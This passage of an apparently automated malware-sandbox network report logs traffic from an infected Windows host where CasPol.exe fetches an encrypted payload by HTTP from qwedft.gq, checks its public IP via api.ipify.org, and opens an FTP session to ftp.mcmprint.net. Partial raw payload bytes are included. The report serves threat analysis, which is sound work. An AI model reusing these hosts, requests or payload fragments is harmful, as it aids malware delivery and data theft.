Nov 29, 2022 18:34:33.298650980 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.298706055 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.298758030 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.298760891 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.298818111 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.298871994 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.298886061 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.298927069 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.298934937 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.298981905 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.299031019 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.299037933 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.299079895 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.299093962 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.299149036 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.299202919 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.299217939 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.299257994 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.299269915 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.299313068 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.299365997 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.299372911 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.299421072 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.299421072 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.299475908 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.299530029 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.299577951 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.299587011 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.299627066 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.299642086 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.299696922 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.299722910 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.299751043 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.299787045 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.299806118 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.299860954 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.299890041 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.299916029 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.299938917 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.299971104 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.300024986 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.300029039 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.300080061 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.300132990 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.300134897 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.300187111 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.300242901 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.300262928 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.300297976 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.300301075 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.300374985 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.300386906 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.300431013 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.300484896 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.300486088 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.300539017 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.300592899 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.300596952 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.300632954 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.300647020 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.300702095 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.300755024 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.300755978 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.300810099 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.300811052 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.300865889 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.300920963 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.300955057 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.300977945 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.301009893 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.301033974 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.301071882 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.301145077 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.301280022 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.459498882 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.459597111 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.459665060 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.459724903 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.459732056 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.459772110 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.459822893 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.459841967 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.459913015 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.459929943 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.459996939 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.460062027 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.460098028 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.460138083 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.460172892 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.460220098 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.460226059 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.460318089 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.460325003 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.460433960 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.460478067 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.460513115 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.460582018 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.460585117 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.460659981 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.460675955 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.460743904 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.460807085 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.460835934 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.460882902 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.460890055 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.460962057 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.460968018 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.461044073 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.461061954 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.461167097 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.461174965 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.461230040 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.461256027 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.461318016 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.461339951 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:33.461407900 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:33.461524963 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:38.444981098 CET	49857	443	192.168.11.20	52.20.78.240
Nov 29, 2022 18:34:38.444999933 CET	443	49857	52.20.78.240	192.168.11.20
Nov 29, 2022 18:34:38.445147991 CET	49857	443	192.168.11.20	52.20.78.240
Nov 29, 2022 18:34:38.466295004 CET	80	49855	162.240.62.179	192.168.11.20
Nov 29, 2022 18:34:38.466401100 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:34:38.508946896 CET	49857	443	192.168.11.20	52.20.78.240
Nov 29, 2022 18:34:38.508960962 CET	443	49857	52.20.78.240	192.168.11.20
Nov 29, 2022 18:34:38.819844961 CET	443	49857	52.20.78.240	192.168.11.20
Nov 29, 2022 18:34:38.820056915 CET	49857	443	192.168.11.20	52.20.78.240
Nov 29, 2022 18:34:38.821578979 CET	49857	443	192.168.11.20	52.20.78.240
Nov 29, 2022 18:34:38.821604967 CET	443	49857	52.20.78.240	192.168.11.20
Nov 29, 2022 18:34:38.822200060 CET	443	49857	52.20.78.240	192.168.11.20
Nov 29, 2022 18:34:38.873029947 CET	49857	443	192.168.11.20	52.20.78.240
Nov 29, 2022 18:34:39.492594957 CET	49857	443	192.168.11.20	52.20.78.240
Nov 29, 2022 18:34:39.536344051 CET	443	49857	52.20.78.240	192.168.11.20
Nov 29, 2022 18:34:39.640558958 CET	443	49857	52.20.78.240	192.168.11.20
Nov 29, 2022 18:34:39.640620947 CET	443	49857	52.20.78.240	192.168.11.20
Nov 29, 2022 18:34:39.640758991 CET	49857	443	192.168.11.20	52.20.78.240
Nov 29, 2022 18:34:39.642118931 CET	49857	443	192.168.11.20	52.20.78.240
Nov 29, 2022 18:34:46.630266905 CET	49858	21	192.168.11.20	185.31.121.136
Nov 29, 2022 18:34:46.662286997 CET	21	49858	185.31.121.136	192.168.11.20
Nov 29, 2022 18:34:46.662487030 CET	49858	21	192.168.11.20	185.31.121.136
Nov 29, 2022 18:34:46.696629047 CET	21	49858	185.31.121.136	192.168.11.20
Nov 29, 2022 18:34:46.696991920 CET	49858	21	192.168.11.20	185.31.121.136
Nov 29, 2022 18:34:46.729441881 CET	21	49858	185.31.121.136	192.168.11.20
Nov 29, 2022 18:34:46.729505062 CET	21	49858	185.31.121.136	192.168.11.20
Nov 29, 2022 18:34:46.729799986 CET	49858	21	192.168.11.20	185.31.121.136
Nov 29, 2022 18:34:46.780364990 CET	21	49858	185.31.121.136	192.168.11.20
Nov 29, 2022 18:34:46.780805111 CET	49858	21	192.168.11.20	185.31.121.136
Nov 29, 2022 18:34:46.813596010 CET	21	49858	185.31.121.136	192.168.11.20
Nov 29, 2022 18:34:46.813944101 CET	49858	21	192.168.11.20	185.31.121.136
Nov 29, 2022 18:34:46.846718073 CET	21	49858	185.31.121.136	192.168.11.20
Nov 29, 2022 18:34:46.847259998 CET	49858	21	192.168.11.20	185.31.121.136
Nov 29, 2022 18:34:46.879990101 CET	21	49858	185.31.121.136	192.168.11.20
Nov 29, 2022 18:34:46.880294085 CET	49858	21	192.168.11.20	185.31.121.136
Nov 29, 2022 18:34:46.912998915 CET	21	49858	185.31.121.136	192.168.11.20
Nov 29, 2022 18:34:46.913393021 CET	49858	21	192.168.11.20	185.31.121.136
Nov 29, 2022 18:34:46.946330070 CET	21	49858	185.31.121.136	192.168.11.20
Nov 29, 2022 18:34:46.947611094 CET	49859	59772	192.168.11.20	185.31.121.136
Nov 29, 2022 18:34:46.980201960 CET	59772	49859	185.31.121.136	192.168.11.20
Nov 29, 2022 18:34:46.980681896 CET	49859	59772	192.168.11.20	185.31.121.136
Nov 29, 2022 18:34:46.981738091 CET	49858	21	192.168.11.20	185.31.121.136
Nov 29, 2022 18:34:47.016505957 CET	21	49858	185.31.121.136	192.168.11.20
Nov 29, 2022 18:34:47.016884089 CET	49859	59772	192.168.11.20	185.31.121.136
Nov 29, 2022 18:34:47.016884089 CET	49859	59772	192.168.11.20	185.31.121.136
Nov 29, 2022 18:34:47.049233913 CET	59772	49859	185.31.121.136	192.168.11.20
Nov 29, 2022 18:34:47.049321890 CET	59772	49859	185.31.121.136	192.168.11.20
Nov 29, 2022 18:34:47.049491882 CET	21	49858	185.31.121.136	192.168.11.20
Nov 29, 2022 18:34:47.049658060 CET	49859	59772	192.168.11.20	185.31.121.136
Nov 29, 2022 18:34:47.049741030 CET	49858	21	192.168.11.20	185.31.121.136
Nov 29, 2022 18:36:22.350461960 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:36:22.756478071 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:36:23.553117990 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:36:25.146455050 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:36:26.412028074 CET	49858	21	192.168.11.20	185.31.121.136
Nov 29, 2022 18:36:26.444715977 CET	21	49858	185.31.121.136	192.168.11.20
Nov 29, 2022 18:36:26.444988012 CET	49858	21	192.168.11.20	185.31.121.136
Nov 29, 2022 18:36:26.445353985 CET	21	49858	185.31.121.136	192.168.11.20
Nov 29, 2022 18:36:26.445552111 CET	49858	21	192.168.11.20	185.31.121.136
Nov 29, 2022 18:36:28.317639112 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:36:34.644427061 CET	49855	80	192.168.11.20	162.240.62.179
Nov 29, 2022 18:36:47.297863007 CET	49855	80	192.168.11.20	162.240.62.179

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2022 18:34:32.433917046 CET	56557	53	192.168.11.20	1.1.1.1
Nov 29, 2022 18:34:32.476682901 CET	53	56557	1.1.1.1	192.168.11.20
Nov 29, 2022 18:34:38.424631119 CET	50934	53	192.168.11.20	1.1.1.1
Nov 29, 2022 18:34:38.434093952 CET	53	50934	1.1.1.1	192.168.11.20
Nov 29, 2022 18:34:46.357691050 CET	56134	53	192.168.11.20	1.1.1.1
Nov 29, 2022 18:34:46.629107952 CET	53	56134	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 29, 2022 18:34:32.433917046 CET	192.168.11.20	1.1.1.1	0x7526	Standard query (0)	qwedft.gq	A (IP address)	IN (0x0001)	false
Nov 29, 2022 18:34:38.424631119 CET	192.168.11.20	1.1.1.1	0x2534	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Nov 29, 2022 18:34:46.357691050 CET	192.168.11.20	1.1.1.1	0x1eec	Standard query (0)	ftp.mcmprint.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 29, 2022 18:34:32.476682901 CET	1.1.1.1	192.168.11.20	0x7526	No error (0)	qwedft.gq		162.240.62.179	A (IP address)	IN (0x0001)	false
Nov 29, 2022 18:34:38.434093952 CET	1.1.1.1	192.168.11.20	0x2534	No error (0)	api.ipify.org	api.ipify.org.herokudns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2022 18:34:38.434093952 CET	1.1.1.1	192.168.11.20	0x2534	No error (0)	api.ipify.org.herokudns.com		52.20.78.240	A (IP address)	IN (0x0001)	false
Nov 29, 2022 18:34:38.434093952 CET	1.1.1.1	192.168.11.20	0x2534	No error (0)	api.ipify.org.herokudns.com		3.220.57.224	A (IP address)	IN (0x0001)	false
Nov 29, 2022 18:34:38.434093952 CET	1.1.1.1	192.168.11.20	0x2534	No error (0)	api.ipify.org.herokudns.com		54.91.59.199	A (IP address)	IN (0x0001)	false
Nov 29, 2022 18:34:38.434093952 CET	1.1.1.1	192.168.11.20	0x2534	No error (0)	api.ipify.org.herokudns.com		3.232.242.170	A (IP address)	IN (0x0001)	false
Nov 29, 2022 18:34:46.629107952 CET	1.1.1.1	192.168.11.20	0x1eec	No error (0)	ftp.mcmprint.net		185.31.121.136	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

qwedft.gq

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49857	52.20.78.240	443	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49855	162.240.62.179	80	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
Nov 29, 2022 18:34:32.644968033 CET	148	OUT	GET /Akkant/VUUby127.xsn HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: qwedft.gq Cache-Control: no-cache
Nov 29, 2022 18:34:32.811785936 CET	149	IN	HTTP/1.1 200 OK Date: Tue, 29 Nov 2022 17:34:31 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade Last-Modified: Tue, 29 Nov 2022 01:34:50 GMT Accept-Ranges: bytes Content-Length: 222272 Data Raw: 22 23 98 75 24 63 6c 66 38 c9 fe 6a 65 96 ca 76 db 4a 02 b4 be fa ea d8 6d 23 69 53 1e 22 a6 61 cd b0 0b 1f 1d f2 69 38 a4 89 f8 a1 f5 ff c9 74 f4 47 5a 4d 4b e5 61 72 71 66 91 27 bb eb 77 98 1e fe 29 d9 40 bf 67 3f 0f cf f9 d3 e1 7f 35 20 6e 08 89 84 7d a7 5e b2 4a 48 41 68 4b fc f9 a5 37 8f c7 b1 ec be 58 02 65 b7 33 04 2e 83 79 b4 40 3b c2 26 c5 65 58 73 ca 6e 4d e6 e2 8d 73 57 19 35 81 17 35 a0 42 4c 0f 9d 7c a4 26 dd 55 59 2b 6b 77 8f e4 0e 08 af 52 23 3a 04 df b9 3a 28 44 72 b0 33 95 81 f9 da 26 e8 16 b8 fa 7f 18 10 46 24 90 57 72 10 b2 05 51 78 c4 ed 50 92 12 06 29 97 eb 85 e4 b1 4b 9a a3 c1 2e a8 1a c4 eb 2f af 4c 9f 5f 02 bb d8 75 e2 ee b5 a8 56 1e b2 ac 01 ea 43 df 2d da bd 16 1b 0c d4 24 a2 37 d5 f5 9f 22 cc f9 4a 3e 15 f6 f0 9f 67 95 8c 9b 04 bc ed b8 a5 c1 2e b0 7e 78 7f 62 d7 7d b4 92 e2 5d 4c 1a 69 76 7b 2c cf 16 10 38 b8 fe b9 48 93 fd e7 a6 d5 6a f5 a0 06 74 60 4b a9 87 11 1c 98 55 62 a7 4c d4 30 18 61 c0 87 39 85 9a 87 a5 5f 58 67 38 08 bd 33 bb 7a 1d 48 74 af dc 2e 5d 93 71 86 e9 4a b9 28 11 d4 e2 43 a9 35 89 23 f5 97 6d f6 49 4f 6c a2 c0 f5 e1 af 66 21 63 ab e7 78 6d 60 b7 58 36 d6 82 71 92 1b 14 9f 42 a9 6b da 1d 57 b4 c8 0a 9c 47 08 51 e5 a6 f4 59 6b f1 67 77 3e cd ca 7b 00 42 e0 50 16 fa 89 db f2 40 dd 34 d7 e6 b3 dc e6 c0 f6 b2 58 35 e8 37 c1 2d d9 a3 52 31 a6 22 48 24 2d e3 c5 94 57 f6 2f e3 e4 a0 35 b7 f1 19 3b 08 de ec 8c dc 88 aa f1 bd 0e fb 14 17 8e f7 a8 38 18 1d ee 5b 72 2b d4 9f 63 6c 23 a1 a8 72 4e e7 6f af b1 08 98 43 d8 6e a8 6c b4 92 97 8a af 84 a4 cb b4 7d 2a ad 04 a6 9a a9 48 67 bc ef 33 de 7d 6a c5 67 7f fd 23 ef 76 91 1d 7c 5d 41 27 db 6f c1 f4 b7 50 2f a4 f2 88 b7 c0 b6 8d 63 cf 97 a8 38 6d ec 27 fe 1b 68 03 06 4e 46 26 36 b2 ae 07 8c 5d 84 8b 51 90 56 81 d5 ee 96 13 2b 3c a1 35 27 9f 1d 27 8d b7 a5 56 a5 26 5e ef a9 4c aa b4 56 d7 b7 c8 66 6c dd 4d 42 55 91 23 5b 81 23 f2 c9 a1 e7 5e 66 e9 91 e6 66 a9 c5 49 09 af 0e 95 ef 3d 76 90 22 97 ec 83 be e0 73 65 2d 1a 98 be d6 ff e1 8c 22 05 9a fd fb 21 16 c4 e5 03 8c 62 43 66 97 87 d0 79 e2 15 25 8f 0f d1 72 22 86 b6 08 f0 28 71 80 06 b3 9b e7 1b 5a 4a 1b a6 f8 f5 53 cc bf 44 44 7d bb 9a 5e c8 b1 0b 51 3f 8a 39 4f af 75 db ab 83 8f 74 49 96 14 22 c7 ac 35 14 a7 e9 48 ed 6c 3d ea 75 00 84 80 33 70 44 80 6d 12 d9 50 10 39 95 3c 95 f3 89 f6 b3 f8 cb 4f fa 75 5a b6 56 14 df b4 a9 39 8d 8b e8 6b 55 2a 98 3f e7 63 ac 48 a2 2a 97 36 59 28 46 cd 29 5f 37 80 29 9d 3b 48 8d 25 d6 c9 18 d0 b3 91 79 e7 ff 30 f0 69 50 a3 db 91 fe 91 9a 68 6b 43 f0 a2 66 70 9f 09 b3 bd 89 01 4b 7d 0b e3 e6 19 dc 8c f4 68 9c 8a 2c d0 a3 1b 84 af a9 4e d4 96 fc d5 a1 d8 c5 c8 62 65 9e d8 5e 3e fd 9b 71 8f a2 f8 22 3c 9e 52 30 1c db 10 7b 39 60 44 61 44 2a 54 f6 53 88 b9 d9 43 bb 67 3f 1a d9 f2 f8 05 80 32 37 28 09 a5 86 65 ac 5e b5 1c b6 40 44 49 eb f2 a5 30 97 39 b0 c0 bc 73 00 4e 54 4d 00 2e 83 7d db 4d 3b c2 2c ef 76 68 71 ca 40 4d e6 62 88 73 57 06 3c 30 32 2e 14 4c 96 d0 24 51 ea f3 f7 01 36 54 e6 56 d3 94 76 64 dd 34 56 e4 66 92 d5 7f 45 1b b1 d0 55 9d e2 8c b4 0c a9 6a 98 be 3a 61 30 2b 58 c4 30 5c 35 bf 0f 75 7e c4 ed 41 84 19 2d 62 d2 ec 92 56 b1 64 98 af 01 5b cc 0c 3a ea 03 ad 5b 94 5f e5 a3 24 75 c5 ed 96 aa 7d a1 b3 84 12 ec 43 d5 07 c9 8d 14 35 5b d7 24 a2 10 d5 f5 8e 34 c7 d2 51 3e 52 e1 0e be 4b 97 94 92 04 bb ff 46 a4 ed 2c Data Ascii: "#u$clf8jevJm#iS"ai8tGZMKarqf'w)@g?5 n}^JHAhK7Xe3.y@;&eXsnMsW55BL\|&UY+kwR#::(Dr3&F$WrQxP)K./L_uVC-$7"J>g.~xb}]Liv{,8Hjt`KUbL0a9_Xg83zHt.]qJ(C5#mIOlf!cxm`X6qBkWGQYkgw>{BP@4X57-R1"H$-W/5;8[r+cl#rNoCnl}Hg3}jg#v\|]A'oP/c8m'hNF&6]QV+<5''V&^LVflMBU#[#^ffI=v"se-"!bCfy%r"(qZJSDD}^Q?9OutI"5Hl=u3pDmP9<OuZV9kU?cH6Y(F)_7);H%y0iPhkCfpK}h,Nbe^>q"<R0{9`DaDTSCg?27(e^@DI09sNTM.}M;,vhq@MbsW<02.L$Q6TVvd4VfEUj:a0+X0\5u~A-bVd[:[_$u}C5[$4Q>RKF,
Nov 29, 2022 18:34:32.811892033 CET	150	IN	Data Raw: a7 75 78 7c 7a 29 7c 98 90 c9 5f 67 39 ba 73 7b 2e cd 3e 04 38 b8 f4 91 5b e3 7a e7 8e c5 6a f5 b8 06 74 71 5d b2 ac 0a 0c 9f 42 9c a6 60 d6 38 13 61 c7 91 c7 84 b6 85 b2 54 58 80 5a f5 bc 54 b9 51 1f 63 17 ae f4 23 5e 93 7b ac fa 7a bb 28 52 d4 Data Ascii: ux\|z)\|_g9s{.>8[zjtq]B`8aTXZTQc#^{z(RC52FKuPg!cbf`@{BF\bF$S^}f[<{XQ:P7.$"H?+b2q;8Z^%c_-BD@'
Nov 29, 2022 18:34:32.811969995 CET	152	IN	Data Raw: 2d 1a 14 b6 fb 6b eb 77 3d e7 4a 8f 87 ac 37 40 61 80 6a 0e 0f 7e 3c 3b 88 b7 8b f4 91 0c cc f6 c9 64 fc 72 b3 e0 c5 14 df b6 46 12 8d 8b e6 6b 58 18 89 0f c8 63 af 4b a0 2a 99 27 4f 32 7b c5 21 60 d5 7c 28 b1 39 41 8e 3a c0 21 e7 fd 93 82 6b fb Data Ascii: -kw=J7@aj~<;drFkXcK*'O2{!`\|(9A:!k[hvH%qf;Vq4sQh3YB(EI^},74?(Z9dLCo 1? ^[IhZxb3z?yh&4nM}`_;3?J817
Nov 29, 2022 18:34:32.812066078 CET	153	IN	Data Raw: b6 ec 78 6a 7e 49 59 1a d3 a9 40 8d 12 1f 9f 45 b6 62 24 1c 7b b1 df 00 83 4d 03 51 e2 bd 0a 58 47 f8 19 41 3e cd ce 57 ed 5e eb 50 11 cd 77 da d6 42 c5 3f d7 e1 ac d6 18 c1 da b4 56 39 b5 28 82 26 d9 a4 4d 3a 58 23 64 39 53 d4 eb e0 36 f0 63 e3 Data Ascii: xj~IY@Eb${MQXGA>W^PwB?V9(&M:X#d9S6c?V!XX1dSo1'gt}-XJL\!Wr\|]A6{lP/c8mT[hNHnl62Q]!/'B5l^S}L
Nov 29, 2022 18:34:32.812189102 CET	154	IN	Data Raw: 96 b6 39 71 06 26 e3 e6 06 d5 81 f4 70 95 8d f9 ca 8f 01 91 3e c6 62 d6 84 df 5e a4 ce 3d e1 7c 67 89 d5 76 b5 e7 65 76 8b 8e d3 20 11 62 21 3e 1c d2 0c ea 34 4c 48 15 66 39 64 f0 69 68 b9 d9 43 a6 6a 3f 02 d2 07 d2 32 87 0d 14 d7 08 89 9a 70 a7 Data Ascii: 9q&p>b^=\|gvev b!>4LHf9dihCj?2pWImqc{1p3e59R@=/eQlL=9*1K/)ut1D_o7fke\|%2R9`72K6Cy~jMQ@YfLUtVKo/5}"bW
Nov 29, 2022 18:34:32.812350035 CET	156	IN	Data Raw: f7 a8 32 0e 2c 08 41 79 2b f3 88 9d 0d 21 d1 c3 0b 2d e0 77 51 a8 27 95 6b b2 ef ab 6a c0 9e 97 8a b4 d0 be c0 b4 7a 3c 53 05 8a 98 be 43 67 bb f0 79 20 7c 06 e9 3e 1f a9 12 73 89 6e 3b 7c 5d 5a 17 73 6c 38 f4 b5 50 37 a4 90 9a c4 b9 b6 8d 69 c5 Data Ascii: 2,Ay+!-wQ'kjz<SCgy \|>sn;\|]Zsl8P7iBm-cDNT$VVi-&,'BgKPf{bDURY`K&=\|2+ubBK"?bq{F/r$B"]XJ3o+[
Nov 29, 2022 18:34:32.812485933 CET	157	IN	Data Raw: 04 2e ae 79 b4 41 3b c2 26 c5 65 58 73 ca 44 4c e6 62 a7 72 57 17 26 3b 19 35 39 4b 81 2f 3e 4d ec eb 8c 03 31 42 03 57 ff 87 49 7a df 33 48 10 14 82 d7 54 41 23 54 ac 5a b5 f3 88 98 57 90 7e e6 ae 30 4b 34 44 75 f4 32 5a 0b 41 0e 0b 68 c4 ed 54 Data Ascii: .yA;&eXsDLbrW&;59K/>M1BWIz3HTA#TZW~0K4Du2ZAhTwJu/]wFrVBC?$U"LQhx \|PbwJJx{xcP<QB~sFoUf< "8C&BtNV(]1`;(04%
